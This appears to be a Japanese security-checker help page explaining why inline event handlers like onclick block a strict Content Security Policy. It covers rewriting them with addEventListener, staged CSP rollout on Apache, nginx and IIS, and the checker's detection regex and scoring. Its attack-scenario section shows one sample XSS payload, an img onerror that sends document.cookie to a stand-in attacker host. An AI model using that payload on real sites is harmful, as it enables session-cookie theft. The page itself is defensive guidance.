• 診断項目 No.50/127
  • HTML・JavaScript・外部資産
  • 重大度 中(medium)

危険なインラインイベントを抑制するには?onclick属性の問題点・置き換え方・診断基準

危険なインラインイベントを抑制するとは、onclick等のイベント属性をaddEventListenerへ移し、unsafe-inlineなしの厳格なCSPを適用できる状態にすることです。理由、書き換え例、CSPの段階導入、診断基準を解説します。

結論(危険なインラインイベントを抑制)

危険なインラインイベントを抑制するとは、onclick や onerror のようにHTMLタグの属性へ直接書かれたJavaScriptを、外部JSの addEventListener() へ移すことです。インラインイベントが残るとCSPの script-src から 'unsafe-inline' を外せず、XSSで注入された onerror 属性なども実行されてしまいます。セキュリティAIチェッカーはトップページHTMLのイベント属性を数え、0件で○、1件以上で△と判定します。

この記事のポイント

  • インラインイベントとは、onclick="send()" のようにHTMLタグの属性へ直接書いたJavaScriptです。
  • CSPで 'unsafe-inline' を許可しない限り、ブラウザはインラインイベント属性を実行しません。
  • nonceは属性に付けられず、hashで許可するには 'unsafe-hashes' の併記が必要です。'strict-dynamic' でも許可されません。
  • addEventListener() とイベント委譲(event.target.closest())で置き換えると、テンプレートの変更量を抑えられます。
  • CSPは script-src-attr 'none' を含むReport-Onlyで試し、違反が出ないことを確かめてから強制します。
  • セキュリティAIチェッカーは代表的なイベント属性を数え、1件でもあれば△(重み2×0.45=0.9点)です。
診断項目名危険なインラインイベントを抑制
項目IDhtml.inline-events
分類HTML・JavaScript・外部資産
重大度・配点の重み中(medium) 重み 2
関連する標準・ガイドラインOWASP ASVS 5.0.0 V3.4.3(L2: 信頼できるコンテンツのみ実行させるCSP。L3ではnonce/hashによるレスポンスごとのポリシー)/OWASP WSTG-CONF-12「Content Security Policy」、WSTG-CLNT-01「DOM-Based Cross Site Scripting」/CWE-79(クロスサイト・スクリプティング)※インラインイベント自体はCWE上の弱点ではなく、XSS緩和策(CSP)の適用を妨げる要因として扱う/IPA「安全なウェブサイトの作り方」5. クロスサイト・スクリプティング(保険的対策としてのCSP)

危険なインラインイベントを抑制するとは

インラインイベントとは、<button onclick="send()"> や <select onchange="location.href=this.value"> のように、HTMLタグの属性として直接JavaScriptを書く方法です。危険なインラインイベントを抑制するとは、こうしたイベント属性をHTMLから取り除き、外部JavaScriptの addEventListener() で処理を登録する形へ移すことを指します。

<!-- インラインイベント(抑制の対象) -->
<button onclick="toggleMenu()">メニュー</button>

インラインイベントは手軽なため、古いCMSテンプレートや手作りページで多用されています。しかし、Content Security Policy(CSP)でXSSを強く抑止したい場合の大きな障害になります。

CSPの script-src で 'unsafe-inline' を許可しない限り、ブラウザはインラインイベント属性のコードを実行しません。つまり、インラインイベントが多いサイトは 'unsafe-inline' を残さざるを得ず、その結果、攻撃者がHTMLへ差し込んだ onerror=... のような属性も実行されてしまいます。

セキュリティAIチェッカーのこの項目は、トップページのHTMLにインラインイベント属性がどれだけあるかを数え、厳格なCSPを導入しやすい状態かを確認します。

インラインイベントは脆弱性そのものではない

属性値が固定文字列であれば、インラインイベントそれ自体はXSSではありません。CWE上の弱点でもなく、この項目ではXSSの緩和策であるCSPの適用を妨げる要因として扱います。問題は、厳格なCSPを導入できず、他の箇所でXSSが起きたときの被害を抑えられないことです。

インラインイベントがCSPの妨げになる仕組み

'unsafe-inline' なしではインラインイベントは実行されない

MDNの script-src の解説では、'unsafe-inline' を指定しないポリシーでは、インラインの <script> だけでなくインラインイベントハンドラーもブロックされると説明されています。

nonce・hash・strict-dynamicでは許可できない

CSPの手段インラインの script 要素イベントハンドラー属性(onclick 等)
hash-source('sha256-...')許可できる許可されない('unsafe-hashes' の併記が必要)
nonce('nonce-...')許可できる(要素に属性を付ける)属性として書かれたハンドラーにはnonceを付けられない
'strict-dynamic'信頼済みスクリプトが読み込むスクリプトへ信頼を伝播許可しない
'unsafe-inline'許可許可(攻撃者が注入した属性も実行される)

イベントハンドラーをhashで許可するには 'unsafe-hashes' を併記する必要があり、MDNはこれを「コードを addEventListener() に書き換えられない場合」の手段と位置付けています。また、CSP Level 3ではイベントハンドラー属性だけを制御する script-src-attr ディレクティブも定義されています。

ASVS 5.0.0の要求

ASVS 5.0.0 V3.4.3は、CSPで信頼できるコンテンツだけを読み込み・実行させること(L2)、L3ではnonceまたはhashを用いたレスポンスごとのポリシーを求めています。インラインイベントを addEventListener() へ移すことは、この要件を満たすための前提作業です。OWASP WSTGでは、WSTG-CONF-12「Content Security Policy」とWSTG-CLNT-01「DOM-Based Cross Site Scripting」が関連します。IPA「安全なウェブサイトの作り方」の5. クロスサイト・スクリプティング(1.5節)でも、保険的対策(ブラウザのXSS防止機能を有効にするレスポンスヘッダー)の説明の中でCSPに触れています。

置き換えの基本

<!-- 修正前 -->
<button onclick="toggleMenu()">メニュー</button>

<!-- 修正後 -->
<button id="menu-btn" type="button">メニュー</button>
<script src="/js/menu.js" defer></script>
// /js/menu.js
document.getElementById('menu-btn').addEventListener('click', toggleMenu);

同じ処理が多数の要素にある場合は、親要素で1つだけリスナーを登録し event.target.closest() で対象を判定する「イベント委譲」を使うと、テンプレートの変更量を抑えられます。

インラインイベントについてよくある誤解

  • 「インラインイベントがあるとそれだけで脆弱」:属性値が固定文字列であれば、それ自体はXSSではありません。問題は、厳格なCSPを導入できず、他の箇所でXSSが起きたときの被害を抑えられないことです。
  • 「'strict-dynamic' を使えばインラインイベントも動く」:'strict-dynamic' は信頼済みスクリプトが読み込むスクリプトへ信頼を伝播させる仕組みで、イベントハンドラー属性を許可するものではありません。
  • 「href="javascript:..." は別問題」:javascript: URLもCSPではインラインスクリプトと同様に扱われます。本項目の自動判定対象ではありませんが、移行作業では一緒に洗い出してください。

なお、CSPそのものに 'unsafe-inline' が含まれているかは「CSPでunsafe-inlineを許可していない」、innerHTML や eval() などの危険なAPIの記述は「危険なJavaScript APIの兆候」の各項目で確認します。このページはHTML属性として書かれたイベントハンドラーに絞って解説します。

危険なインラインイベントを抑制の診断基準(セキュリティAIチェッカー)

取得対象

  • 診断URLへのGETで取得したトップページ(最終URL)のHTML本文(最大2MB)。
  • 外部JavaScriptファイルや、JavaScriptが実行後に動的に追加する属性は対象外です。

検出方法

次の正規表現(大文字小文字を区別しない)に一致する箇所の件数を数えます。空白文字(改行を含む)の直後に続く、代表的なイベントハンドラー属性名と = の組み合わせです。

\son(?:click|dblclick|load|unload|beforeunload|error|abort|
mouse(?:over|out|down|up|move|enter|leave)|key(?:down|up|press)|
focus(?:in|out)?|blur|change|input|submit|reset|select|scroll|resize|
wheel|contextmenu|touch(?:start|end|move)|
pointer(?:down|up|over|out|move|enter|leave)|
drag(?:start|end|over|enter|leave)?|drop|toggle|
animation(?:start|end|iteration)|transitionend|copy|cut|paste|
hashchange|popstate|pageshow|pagehide)\s*=
  • window.onload = f のように直前が . のJavaScriptコードは対象外です(直前に空白が必要なため)。
  • 一方、インラインスクリプト内で空白の直後に書かれた onload = f のような代入文は、属性と区別できないため件数に含まれます。
  • data-onclick のような独自属性や、var online = 1 のようなイベント名以外の語は一致しません。

判定条件

判定条件得点への影響
○ 問題なし(pass)一致件数が0重み2を満点で加算
△ 要確認(warn)一致件数が1以上(根拠欄に件数を表示)2×0.45=0.9点
× 要改善(fail)使用しない(インラインイベントは直接の脆弱性ではないため)—
対象外(na)使用しない(HTMLが取得できれば必ず判定)—

スコアは「Σ(重み×係数)÷Σ(適用項目の重み)×100」で、pass=1.00、warn=0.45、fail=0です。

自治体サイトでの判定例

トップページの実装判定
「文字サイズ変更」「背景色変更」ボタンが onclick="fontSize('large')" で実装されている△
「部署から探す」のプルダウンが onchange="location.href=this.value"△
画像の読み込み失敗時に代替画像を出す onerror="this.src='noimage.png'"△
全機能が外部JSで addEventListener 登録されている○

診断の限界

文字列パターンでの数え上げのため、コード解説ページ内の例示や <textarea> 内の文字列も数えることがあります。また、一覧にないイベント名(oncanplay など)は数えません。件数の多少による段階評価は行わず、1件でもあれば△です。

インラインイベントを放置するとどんなリスクがあるか

攻撃シナリオ('unsafe-inline' が残っている場合)

  1. インラインイベントが多いため、サイトのCSPは script-src 'self' 'unsafe-inline' になっている(またはCSPが無い)。
  2. お知らせ一覧の検索機能に反射型XSSがあり、攻撃者は <img src=x onerror="fetch('https://attacker.example/?c='+document.cookie)"> を含むURLを配布する。
  3. 'unsafe-inline' が許可されているため、注入された onerror 属性はブラウザでそのまま実行される。

厳格なCSP(nonce+'strict-dynamic'、'unsafe-inline' なし)を適用していれば、手順3の実行はブラウザで阻止され、被害を緩和できます。インラインイベントの撤去は、この「最後の防御線」を有効にするための準備です。

想定される被害

  • XSS発生時に緩和策が働かず、偽情報表示や入力情報の窃取に直結する
  • セキュリティ診断で「CSPに 'unsafe-inline' がある」と継続的に指摘され、改善が進まない
  • 将来のCMS更改時に、インラインイベントの書き換えが大量に必要になる

インラインイベントの書き換え方とCSPの設定(Apache・nginx・IIS・Next.js)

1. 洗い出し

公開中のHTMLとテンプレートから、インラインイベントと javascript: URLを洗い出します。

curl -s https://www.city.example.lg.jp/ | grep -oiE '\son[a-z]+\s*=' | sort | uniq -c | sort -rn
grep -rnoiE '\son(click|change|load|error|submit|mouseover|focus|keydown)\s*=' ./templates | wc -l
grep -rnoi 'href="javascript:' ./templates | wc -l

2. 書き換え(イベント委譲の例)

文字サイズ切替のように同じ処理が並ぶ箇所は、イベント委譲でまとめて置き換えます。

<!-- 修正前 -->
<button onclick="fontSize('small')">小</button>
<button onclick="fontSize('large')">大</button>

<!-- 修正後 -->
<div id="font-tools">
  <button type="button" data-size="small">小</button>
  <button type="button" data-size="large">大</button>
</div>
document.getElementById('font-tools').addEventListener('click', (e) => {
  const btn = e.target.closest('button[data-size]');
  if (btn) fontSize(btn.dataset.size);
});

プルダウンの自動遷移は、アクセシビリティの観点からも「移動」ボタンを設けたフォーム送信に置き換えるのが望ましい方法です。

3. CSPの段階導入

書き換えが終わった範囲から、Report-OnlyでCSPを試します。script-src-attr 'none' を含めると、残っているイベント属性が違反として報告されます。

Apache(.htaccess)

# Apache (.htaccess)
<IfModule mod_headers.c>
  Header always set Content-Security-Policy-Report-Only "script-src 'self'; script-src-attr 'none'; object-src 'none'; base-uri 'none'"
</IfModule>

nginx

# nginx
add_header Content-Security-Policy-Report-Only "script-src 'self'; script-src-attr 'none'; object-src 'none'; base-uri 'none'" always;

IIS(web.config)

<!-- IIS web.config -->
<add name="Content-Security-Policy-Report-Only" value="script-src 'self'; object-src 'none'; base-uri 'none'" />

Next.js(Vercel)

Next.js(Vercel)では、JSXの onClick はReactがイベントリスナーとして登録するためHTML属性としては出力されず、本項目には該当しません。dangerouslySetInnerHTML で埋め込んだHTMLにインラインイベントが含まれていないかを確認してください。

書き換えられないハンドラーが少数残る場合

どうしても書き換えられない少数のハンドラーは、'unsafe-hashes' と該当ハンドラー文字列のhashで個別に許可する方法があります('unsafe-inline' の全面許可より範囲が狭い)。

4. 確認方法

  • curl -s URL | grep -ciE '\son(click|change|load|error)\s*=' が0になることを確認する。
  • Report-Only期間中、ブラウザのコンソールに script-src-attr 違反が出ないか、主要ページ(トップ、検索、フォーム、文字サイズ切替)で確認する。
  • 本診断を再実行し、○(pass)になることを確認する。

サイトを壊さないための注意点

  • インラインイベントが残った状態で 'unsafe-inline' なしのCSPを強制適用すると、文字サイズ変更やメニュー開閉などが一斉に動かなくなります。必ずReport-Onlyで確認してから強制モードへ移行します。
  • 外部ベンダーの読み上げ・翻訳・チャットボットのタグがインラインイベントを含むことがあります。ベンダーにCSP対応版の提供有無を確認します。
  • .htaccess のCSPは配下ディレクトリにも再帰的に適用されます。サブディレクトリで運用している別システムへの影響を確認してください。

よくある質問(FAQ)

インラインイベントがあるだけで脆弱性になりますか?

属性値が固定文字列であれば、それ自体はXSSではありません。問題は、'unsafe-inline' を外した厳格なCSPを導入できず、他の箇所でXSSが起きたときに被害を抑えられないことです。そのため診断では×ではなく△としています。

CSPのnonceやhashでonclick属性を許可できますか?

nonceはscript要素に付ける属性なので、イベントハンドラー属性には付けられません。hash('sha256-...')でイベントハンドラーを許可するには 'unsafe-hashes' の併記が必要で、MDNはaddEventListener()に書き換えられない場合の手段と位置付けています。

'strict-dynamic' を使えばインラインイベントも動きますか?

動きません。'strict-dynamic' は信頼済みスクリプトが読み込むスクリプトへ信頼を伝播させる仕組みで、イベントハンドラー属性を許可するものではありません。

script-src-attrとは何ですか?

CSP Level 3で定義された、イベントハンドラー属性だけを制御するディレクティブです。script-src-attr 'none' をReport-Onlyで試すと、残っているインラインイベントをブラウザのコンソールで洗い出せます。

Next.jsのonClickはインラインイベントとして検出されますか?

検出されません。JSXのonClickはReactがイベントリスナーとして登録するため、HTML属性としては出力されません。dangerouslySetInnerHTMLで埋め込んだHTMLにインラインイベントが含まれていないかは確認してください。

href="javascript:..." も診断対象ですか?

本項目の自動判定対象ではありません。ただし javascript: URLもCSPではインラインスクリプトと同様に扱われるため、インラインイベントの移行作業では一緒に洗い出してください。

セキュリティAIチェッカーを利用する

この項目を含む127項目を、URLを入れるだけで無料診断します。

参考資料